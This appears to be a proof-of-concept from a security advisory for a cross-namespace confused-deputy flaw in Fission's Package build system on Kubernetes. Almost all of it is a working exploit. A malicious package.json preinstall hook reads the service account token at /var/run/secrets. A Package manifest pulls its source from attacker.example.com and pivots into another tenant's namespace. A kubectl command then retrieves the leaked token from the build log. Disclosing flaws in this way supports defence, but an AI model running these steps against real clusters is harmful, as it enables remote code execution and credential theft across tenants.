CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration

# 1. Attacker creates a malicious npm package in their source archive.
# package.json in the source zip:
{
  "name": "pwn",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
  }
}

# 2. Attacker creates the cross-namespace Package (in namespace 'tenant-a',
#    pointing spec.environment.namespace at the victim namespace 'tenant-b'):
apiVersion: fission.io/v1
kind: Package
metadata:
  name: evil-pkg
  namespace: tenant-a
spec:
  environment:
    name: node           # a Node.js env that exists in tenant-b
    namespace: tenant-b  # <-- cross-namespace pivot; was never validated
  source:
    type: url
    url: http://attacker.example.com/evil-src.zip
  buildcmd: "npm install"

# 3. buildermgr fetches the Environment from tenant-b using the cluster-admin
#    service account, dispatches 'npm install' into tenant-b's builder pod.
#    The preinstall hook prints the fission-builder token.
#    Token appears in:
kubectl get package evil-pkg -n tenant-a -o jsonpath='{.status.buildlog}'